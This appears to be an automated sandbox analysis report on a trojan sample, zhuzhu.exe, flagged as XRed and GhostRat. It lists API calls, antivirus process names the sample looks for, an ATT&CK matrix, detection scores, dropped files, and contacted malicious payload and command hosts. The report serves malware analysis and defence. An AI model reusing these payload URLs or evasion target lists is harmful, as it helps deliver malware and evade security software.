Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Downloads\inst.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe

Code function: 1_2_100113E9 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_100113E9

Source: C:\Users\user\Downloads\inst.exe

Code function: 7_2_001B8A46 _memset,GetUserNameW,__wcsicoll,_memset,GetModuleFileNameW,StrStrIW,

7_2_001B8A46

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_03785D22 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

4_2_03785D22

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_03776A70 wsprintfW,GetCurrentProcessId,wsprintfW,_memset,GetVersionExW,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,wsprintfW,

4_2_03776A70

Source: ._cache_zhuzhu.exe	Binary or memory string: vsserv.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: avcenter.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: cfp.exe
Source: inst.exe	Binary or memory string: SuperKiller.exe
Source: Amcache.hve.22.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.22.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.22.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: rtvscan.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: TMBMSRV.exe
Source: inst.exe	Binary or memory string: SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360Safe.exe
Source: inst.exe	Binary or memory string: \SuperKiller.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: avgwdsvc.exe
Source: inst.exe	Binary or memory string: SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe
Source: inst.exe	Binary or memory string: firstaid\superkiller.exe
Source: inst.exe	Binary or memory string: Software\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe
Source: Amcache.hve.22.dr	Binary or memory string: MsMpEng.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: K7TSecurity.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: acs.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: kxetray.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: KSafeTray.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: avp.exe
Source: inst.exe	Binary or memory string: 360safe.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: 360Safe.exe
Source: inst.exe	Binary or memory string: 360tray.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: ashDisp.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: 360Tray.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: AYAgent.aye
Source: ._cache_zhuzhu.exe	Binary or memory string: RavMonD.exe
Source: ._cache_zhuzhu.exe	Binary or memory string: QUHLPSVC.EXE
Source: ._cache_zhuzhu.exe	Binary or memory string: Mcshield.exe

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected GhostRat

Source: Yara match

File source: Process Memory Space: ._cache_zhuzhu.exe PID: 6340, type: MEMORYSTR

Yara detected XRed

Source: Yara match	File source: zhuzhu.exe, type: SAMPLE
Source: Yara match	File source: 0.0.zhuzhu.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1657184118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zhuzhu.exe PID: 6652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 5780, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Documents\DTBZGIOOSO\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXE77E.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Queries disk data (e.g. SMART data)

Source: C:\Users\user\Downloads\inst.exe	Device IO: \Device\Harddisk0\DR0
Source: C:\Users\user\Downloads\inst.exe	Device IO: \Device\Harddisk0\DR0

Remote Access Functionality

Yara detected GhostRat

Source: Yara match

File source: Process Memory Space: ._cache_zhuzhu.exe PID: 6340, type: MEMORYSTR

Yara detected XRed

Source: Yara match	File source: zhuzhu.exe, type: SAMPLE
Source: Yara match	File source: 0.0.zhuzhu.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1657184118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zhuzhu.exe PID: 6652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 5780, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Documents\DTBZGIOOSO\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXE77E.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Code function: 1_2_1000EE80 RpcStringBindingComposeW,RpcBindingFromStringBindingW,RpcBindingSetAuthInfoExA,RpcStringFreeW,	1_2_1000EE80
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Code function: 1_2_0286EE57 RpcStringBindingComposeW,RpcBindingFromStringBindingW,RpcBindingSetAuthInfoExA,RpcStringFreeW,	1_2_0286EE57
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F51FEA4 listen,	7_2_5F51FEA4
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F51FB95 htonl,bind,	7_2_5F51FB95
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F5221AC socket,_memset,htonl,htonl,htons,htonl,bind,	7_2_5F5221AC

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	41 Scripting	2 Replication Through Removable Media	21 Windows Management Instrumentation	41 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	121 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	1 Bootkit	223 Process Injection	1 Software Packing	NTDS	5 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	257 System Information Discovery	SSH	Keylogging	314 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	1 Query Registry	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Masquerading	DCSync	471 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	151 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	151 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	13 Process Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	11 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	223 Process Injection	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Bootkit	Keylogging	1 System Network Configuration Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Indicator Removal	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
zhuzhu.exe	83%	Virustotal		Browse
zhuzhu.exe	92%	ReversingLabs	Win32.Trojan.Synaptics
zhuzhu.exe	100%	Avira	TR/Dldr.Agent.SH
zhuzhu.exe	100%	Avira	W2000M/Dldr.Agent.17651006
zhuzhu.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Documents\DTBZGIOOSO\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\DTBZGIOOSO\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\RCXE77E.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCXE77E.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Documents\DTBZGIOOSO\~$cache1	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCXE77E.tmp	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	92%	ReversingLabs	Win32.Trojan.Synaptics
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\inst[1].exe	17%	ReversingLabs
C:\Users\user\AppData\Local\Temp\{92EE34F9-CBF9-4899-A446-C0FD9C9E29A7}.tmp\360P2SP.dll	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\sites.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	0%	ReversingLabs
C:\Users\user\Desktop\._cache_zhuzhu.exe	0%	ReversingLabs
C:\Users\user\Downloads\inst.exe	17%	ReversingLabs

Source	Detection	Scanner	Label
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exep	0%	Avira URL Cloud	safe
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exeg	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dlD	100%	Avira URL Cloud	malware
http://pinst.360.cn/360safe/h_inst.cab?rd=34183220	0%	Avira URL Cloud	safe
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rarh	100%	Avira URL Cloud	malware
http://xred.site50.net/syn/SUpdate.ini	100%	Avira URL Cloud	malware
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exet	0%	Avira URL Cloud	safe
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exel	0%	Avira URL Cloud	safe
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/t	0%	Avira URL Cloud	safe
https://drive.a	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rar	100%	Avira URL Cloud	malware
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exe)	0%	Avira URL Cloud	safe
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exe	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dll	100%	Avira URL Cloud	malware
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exeD	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	false	high
tr.p.360.cn	1.192.136.132	true	false	high
docs.google.com	142.250.181.238	true	false	high
agt.p.360.cn	1.192.136.132	true	false	high
agd2.p.360.cn	1.192.194.215	true	false	high
bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com	47.79.48.211	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
drive.usercontent.google.com	142.250.186.129	true	false	high
s.360.cn	180.163.251.230	true	false	high
seupdate.360qhcdn.com	39.156.85.231	true	false	high
st.p.360.cn	1.192.136.170	true	false	high
agd.p.360.cn	unknown	unknown	false	high
xred.mooo.com	unknown	unknown	false	high
pinst.360.cn	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://s.360.cn/safe/instcomp.htm?soft=1000&status=109&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid=	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=129&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid=	false		high
http://s.360.cn/safe/instcomp.htm?soft=425&status=1&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=0&downrate=0&downlen=0	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=12&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid=	false		high
http://pinst.360.cn/360safe/h_inst.cab?rd=34183220	false	Avira URL Cloud: safe	unknown
http://s.360.cn/safe/instcomp.htm?soft=425&status=19&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=2282&downrate=0&downlen=0	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=127&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&parent=Non-existent%20Process&ver=13.0.0.1231&pid=	false		high
xred.mooo.com	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=107&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid=	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=8&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid=	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=100&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid=	false		high
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exe	false	Avira URL Cloud: safe	unknown
http://s.360.cn/safe/instcomp.htm?soft=1000&status=1&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid=	false		high
http://s.360.cn/safe/instcomp.htm?soft=1000&status=10&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid=	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://xred.site50.net/syn/Synaptics.rarZ	Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~$cache1.2.dr, Synaptics.exe.0.dr	false		high
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/t	._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/dK	Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com/inst.exeg	._cache_zhuzhu.exe, 00000001.00000003.1771155564.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000B23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/Synaptics.rarh	zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/	Synaptics.exe, 00000002.00000002.2434252916.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000069C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp	false		high
